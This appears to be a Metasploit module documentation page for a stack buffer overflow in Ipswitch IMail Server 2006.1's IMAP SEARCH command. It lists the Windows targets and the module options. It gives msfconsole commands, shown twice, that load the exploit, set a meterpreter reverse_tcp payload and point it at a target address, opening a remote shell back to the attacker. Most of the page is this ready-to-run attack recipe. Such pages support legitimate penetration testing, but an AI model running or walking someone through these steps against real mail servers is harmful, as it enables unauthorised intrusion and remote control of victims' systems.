Ipswitch IMail IMAP SEARCH Buffer Overflow
This module exploits a stack buffer overflow in Ipswitch IMail Server 2006.1 IMAP SEARCH verb. By sending an overly long string, an attacker can overwrite the buffer and control program execution. In order for this module to be successful, the IMAP user must have at least one message.
Exploit Rank
- Average
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 Pro SP4 English (default)
- 1 - Windows 2003 SP0 English
Exploit Development
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Exploit Usage Information
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msf > use exploit/windows/imap/ipswitch_search
msf exploit(ipswitch_search) > show payloads
msf exploit(ipswitch_search) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ipswitch_search) > set LHOST [MY IP ADDRESS]
msf exploit(ipswitch_search) > set RHOST [TARGET IP]
msf exploit(ipswitch_search) > exploit
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msf > use exploit/windows/imap/ipswitch_search
msf exploit(ipswitch_search) > show payloads
msf exploit(ipswitch_search) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ipswitch_search) > set LHOST [MY IP ADDRESS]
msf exploit(ipswitch_search) > set RHOST [TARGET IP]
msf exploit(ipswitch_search) > exploit
Exploit Module Options
| IMAPPASS | The password for the specified username |
| IMAPUSER | The username to authenticate as |
| RHOST | The target address |
| RPORT | The target port (default: 143) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |